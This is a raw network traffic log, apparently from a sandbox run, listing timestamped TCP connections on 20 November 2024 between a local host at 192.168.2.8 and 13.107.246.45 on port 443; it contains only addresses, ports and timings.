Nov 20, 2024 03:21:50.351742983 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.351752043 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.377924919 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.378556013 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.378582954 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.378882885 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.378889084 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.379678011 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.380038023 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.380070925 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.380309105 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.380319118 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.397193909 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.397893906 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.397918940 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.398191929 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.398196936 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.415716887 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.415729046 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.415842056 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.415870905 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.415930033 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.416057110 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.416326046 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.416356087 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.416376114 CET	49910	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.416383028 CET	443	49910	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.419698000 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.419740915 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.419898987 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.420147896 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.420162916 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.451879025 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.451903105 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.451978922 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.452006102 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.452050924 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.452102900 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.452136993 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.452155113 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.452167034 CET	49911	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.452176094 CET	443	49911	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.455200911 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.455224037 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.455338001 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.455451965 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.455461025 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.479499102 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.479516029 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.479581118 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.479640961 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.479762077 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.479762077 CET	49913	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.479782104 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.479806900 CET	443	49913	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.479835033 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.479912043 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.479912043 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.479953051 CET	49914	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.479970932 CET	443	49914	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.482459068 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.482481956 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.482567072 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.483246088 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.483268023 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.483329058 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.483333111 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.483339071 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.483426094 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.483443022 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.541147947 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.541318893 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.541398048 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.546030045 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.546055079 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.546092033 CET	49912	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.546102047 CET	443	49912	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.548418045 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.548449039 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:50.548549891 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.548877001 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:50.548891068 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.068408966 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.068945885 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.068983078 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.069616079 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.069619894 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.098550081 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.099193096 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.099210978 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.099901915 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.099905968 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.123282909 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.124428034 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.124440908 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.125211954 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.125217915 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.130866051 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.131359100 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.131371021 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.132052898 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.132057905 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.171884060 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.172276974 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.172336102 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.172390938 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.172408104 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.172419071 CET	49915	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.172425032 CET	443	49915	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.177418947 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.177463055 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.177644968 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.177644968 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.177684069 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.206701994 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.206763983 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.206887007 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.207082033 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.207082033 CET	49916	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.207094908 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.207102060 CET	443	49916	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.211065054 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.211163044 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.211267948 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.211365938 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.211400032 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.217536926 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.217931986 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.217955112 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.218521118 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.218525887 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.224729061 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.225028992 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.225115061 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.225214005 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.225223064 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.225234985 CET	49917	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.225239992 CET	443	49917	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.228082895 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.228128910 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.228241920 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.228343010 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.228353024 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.232069969 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.232507944 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.232601881 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.232601881 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.232601881 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.234517097 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.234559059 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.234653950 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.234756947 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.234782934 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.319447041 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.319616079 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.319736958 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.319907904 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.319931030 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.319936037 CET	49919	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.319941998 CET	443	49919	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.322784901 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.322834015 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.322932959 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.323072910 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.323087931 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.457279921 CET	49918	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.457314014 CET	443	49918	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.807756901 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.808556080 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.808577061 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.808850050 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.808856964 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.845181942 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.845851898 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.845932007 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.846224070 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.846239090 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.895754099 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.896352053 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.896390915 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.896753073 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.896764994 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.906369925 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.906601906 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.906688929 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.906732082 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.906732082 CET	49920	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.906749964 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.906754971 CET	443	49920	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.909111977 CET	49925	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.909209967 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.909315109 CET	49925	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.909410000 CET	49925	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.909431934 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.916445971 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.916924953 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.916945934 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.917511940 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.917520046 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.944792032 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.944890022 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.944962025 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.945197105 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.945241928 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.945275068 CET	49921	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.945291042 CET	443	49921	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.949021101 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.949069023 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.949146986 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.949328899 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.949342966 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.968307018 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.968820095 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.968837023 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.969312906 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.969317913 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.999182940 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.999413967 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.999464035 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.999497890 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.999557972 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.999671936 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.999696016 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:51.999715090 CET	49923	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:51.999726057 CET	443	49923	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.002791882 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.002865076 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.002973080 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.003123999 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.003156900 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.022059917 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.022310972 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.022526026 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.022691011 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.022691011 CET	49922	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.022713900 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.022721052 CET	443	49922	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.025093079 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.025206089 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.025309086 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.025496960 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.025533915 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.068682909 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.069096088 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.069180012 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.069227934 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.069227934 CET	49924	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.069247961 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.069264889 CET	443	49924	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.071789980 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.071839094 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.071939945 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.072122097 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.072135925 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.558337927 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.559051991 CET	49925	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.559084892 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.559453011 CET	49925	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.559459925 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.622961998 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.626554012 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.626583099 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.626948118 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.626954079 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.659404039 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.659648895 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.659693956 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.659789085 CET	49925	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.659857035 CET	49925	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.659939051 CET	49925	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.659987926 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.660017014 CET	49925	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.660032988 CET	443	49925	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.663100004 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.663192034 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.663295031 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.663460016 CET	49930	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.663496017 CET	443	49930	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.665570021 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.668045044 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.668092966 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.668437958 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.668451071 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.671911001 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.672225952 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.672254086 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.672518969 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.672532082 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.707834005 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.708321095 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.708333015 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.708710909 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.708714962 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.728359938 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.728636980 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.728705883 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.728761911 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.728786945 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.728799105 CET	49926	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.728805065 CET	443	49926	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.731452942 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.731487989 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.731576920 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.731837988 CET	49932	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.731853008 CET	443	49932	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.785085917 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.785159111 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.785448074 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.785536051 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.785536051 CET	49927	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.785582066 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.785610914 CET	443	49927	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.788203001 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.788237095 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.788335085 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.788526058 CET	49933	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.788541079 CET	443	49933	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.789947033 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.790736914 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.790813923 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.790879965 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.790879965 CET	49928	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.790931940 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.790957928 CET	443	49928	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.792874098 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.792908907 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.792996883 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.793162107 CET	49934	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.793176889 CET	443	49934	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.827821970 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.827851057 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.827899933 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.828057051 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.828419924 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.828438997 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.828449011 CET	49929	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.828454018 CET	443	49929	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.831729889 CET	49935	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:52.831773043 CET	443	49935	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:52.831866980 CET	49935	443	192.168.2.8	13.107.246.45
